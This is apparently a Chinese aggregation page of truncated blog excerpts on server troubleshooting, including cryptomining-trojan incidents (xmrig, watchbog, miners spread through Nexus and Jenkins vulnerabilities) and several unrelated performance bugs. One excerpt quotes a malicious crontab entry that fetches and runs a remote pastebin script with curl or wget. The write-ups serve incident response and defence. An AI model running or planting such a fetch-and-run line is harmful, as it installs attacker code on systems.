问题现象 Linux 服务器收到报警信息,主机 CPU 跑满. 自动创建运行 Docker 容器 xmrig, 导致其他运行中容器被迫停止. 问题原因 通过 top 命令可以看到有一个 xmrig 进程占用了99%的 CPU. 经定位,该进程是一个挖矿木马程序,通过上述截图可以看到进程对应的 PID 为 2647,根据进程 ID 查询一下产生进程的程序路径: ll /proc/2647/exe 查看进程: 尝试处理 首先停掉该 Docker 容器,并删除其对应镜像. 1. 查看计划任务 Linu

解Bug之路-记一次存储故障的排查过程 高可用真是一丝细节都不得马虎.平时跑的好好的系统,在相应硬件出现故障时就会引发出潜在的Bug.偏偏这些故障在应用层的表现稀奇古怪,很难让人联想到是硬件出了问题,特别是偶发性出现的问题更难排查.今天,笔者就给大家带来一个存储偶发性故障的排查过程. Bug现场 我们的积分应用由于量非常大,所以需要进行分库分表,所以接入了我们的中间件.一直稳定运行,但应用最近确经常偶发连接建立不上的报错.报错如下: GetConnectionTimeOutException 而

线上某服务 A 调用服务 B 接口完成一次交易,一次晚上的生产变更之后,系统监控发现服务 B 接口频繁超时,后续甚至返回线程池耗尽错误 Thread pool is EXHAUSTED.因为服务 B 依赖外部接口,刚开始误以为外部接口延时导致,所以临时增加服务 B dubbo 线程池线程数量.配置变更之后,重启服务,服务恢复正常.一段时间之后,服务 B 再次返回线程池耗尽错误.这次深入排查问题之后,才发现 Kafka 异步发送消息阻塞了 dubbo 线程,从而导致调用超时. 一.问题分析 Dub

第1章 情况 1)服务器收到cpu报警,cpu被占用达到100%,登录服务器查看,发现cpu被一个watchbog的进程占满了,如下图所示: 2)并且无论如何都杀不掉,用kill杀掉后,其还是会隔一会自动起来,很明显被加入了定时任务,果不其然系统自带的定时任务已经被入侵了,如下所示: */ * * * * (curl -fsSL https://pastebin.com/raw/AgdgACUD||wget -q -O- https://pastebin.com/raw/AgdgACUD||py

解Bug之路-记一次中间件导致的慢SQL排查过程 前言 最近发现线上出现一个奇葩的问题,这问题让笔者定位了好长时间,期间排查问题的过程还是挺有意思的,正好博客也好久不更新了,就以此为素材写出了本篇文章. Bug现场 我们的分库分表中间件在经过一年的沉淀之后,已经到了比较稳定的阶段.而且经过线上压测的检验,单台每秒能够执行1.7W条sql.但线上情况还是有出乎我们意料的情况.有一个业务线反映,每天有几条sql有长达十几秒的超时.而且sql是主键更新或主键查询,更奇怪的是出现超时的是不同的sql,似

摘要:众所周知,Nginx是目前最流行的Web Server之一,也广泛应用于负载均衡.反向代理等服务,但使用过程中可能因为对Nginx工作原理.变量含义理解错误,或是参数配置不当导致Nginx工作异常.本文介绍的就是福建开机广告Nginx的参数location处理静态文件配置不当引发的nginx日志骤增到14G的问题排期过程. 一.问题现象及系统介绍 现象:12月15日 21:02分,正在外面吃宵夜,手机收到监控平台的一条"服务器磁盘空间<20%"报警短信. 系统介绍:为了看此

记一次线上bug排查,与各位共同探讨. 概述:使用quartz做的定时任务,正式生产环境有个任务延迟了1小时之久才触发.在这一小时里各种排查找不出问题,直到延迟时间结束了,该任务才珊珊触发.原因主要就是后台有几个5分钟一刷的定时任务,调度器不停的调度后台任务,阻塞了别的任务,出现了问题. 本文主要目的:1.记录排查过程(思路): 2. 分析quartz的线程调度规则: 3. 针对本问题的相关解决方案: 排查过程:1

背景 最近在应急中发现了一款Mac上的挖矿木马,目标是挖门罗币,经过走访,受害用户都有从苹果电脑上安装第三方dmg的经历(其中可以确定一款LOL Mac私服安装app会导致该木马),怀疑在网上很多第三方dmg都是携带了相关恶意程序的. 现象 根据用户反映中招用户一般会有以下几个症状: CPU占有率高 系统卡顿 活动监视器打不开 电脑过热 木马 感染 经过简要分析,怀疑该木马源起于第三方安装包,在解压安装过程中,生成了一个伪装成11.png(名字可以变)的恶意文件和com.apple.Yahoo.

背景 近日,阿里云安全监测到watchbog挖矿木马使用新曝光的Nexus Repository Manager 3远程代码执行漏洞(CVE-2019-7238)进行攻击并挖矿的事件. 值得注意的是,这一攻击开始的时间(2月24日),与2月5日上述产品的母公司发布漏洞公告,相隔仅仅半个多月,再次印证了“漏洞从曝光到被黑产用于挖矿的时间越来越短”.此外,攻击者还利用了Supervisord, ThinkPHP等产品的漏洞进行攻击. 本文分析了该木马的内部结构和传播方式,并就如何清理.预防类似挖矿木

简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐患. 由于攻击者直接复制了Jenkins系列漏洞发现者(Orange.tw)在博客上公布的poc,攻击payload含有"Orange.tw"字样,可能被误认为是漏洞发现者在进行测试,因此我们将木马命名为ImposterMiner(冒充者). 本次事件具有两个特点:一是ImposterMi